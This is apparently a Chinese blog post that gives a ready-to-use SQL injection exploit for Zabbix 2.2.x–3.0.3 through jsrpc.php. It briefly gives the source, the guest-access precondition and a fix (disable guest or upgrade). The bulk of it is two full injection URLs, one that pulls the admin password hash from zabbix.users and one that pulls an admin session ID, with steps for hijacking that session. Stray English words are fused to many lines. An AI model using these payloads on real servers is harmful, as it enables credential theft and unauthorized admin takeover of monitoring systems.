Zabbix 2.2.x / 2.4.x/ 3.0.0-3.0.3 - SQL Injection

漏洞来源: http://seclists.org/fulldisclosure/2016/Aug/60php

***成本:低web

危害程度:
session

利用条件: 须要guest用户权限(未登陆用户都被设定为guest用户的访问权限)ide

影响范围:2.2.x / 2.4.x/ 3.0.0-3.0.3
spa

修复建议: 禁用guest用户或者升级到3.0.43d

漏洞利用:orm

   爆密码xml

   sanr.com/zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2 and updatexml(1,concat(0x3a,(select passwd from zabbix.users limit 0,1)),1))%23&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1blog

输出结果,以下表示漏洞存在:图片

  wKioL1e1SNjBxxvtAAC8nFNlxd0879.png

输出结果,以下表示禁用guest:

wKioL1e1Sfvy-9pCAADd3By_ozw823.png

 爆sessionid(在密码破解不了状况下 可使用session欺骗)

   须要取掉爆出来sessionid前面的数字1,在进行修改zbx_sessionid的值。

   sanr.com/zabbix/jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=(select (1) from users where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (select concat(sessionid,0x7e,userid,0x7e,status) from sessions where status=0 and userid=1 LIMIT 0,1)),1,62)))a from information_schema.tables group by a)b))&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17

 

wKiom1e1VtqSy3yeAAEJ5vmTyq8452.png


wKiom1e1Vtvxe6tJAAICI3mnauM375.png

wKioL1e1VtriLSbhAAHGirrU650177.png

zabbix具体版号查看

 2.x版本

    

wKiom1e1SoOAv1G5AAGHJp2doBU152.png

wKioL1e1SoSxHHMkAAFg-OrySWk538.png

  3.x版本

wKiom1e1Ss2Co2-zAAAwVTl-FVg769.png

wKioL1e1St6BfmD_AABfDCp9jEY513.png

相关文章
相关标签/搜索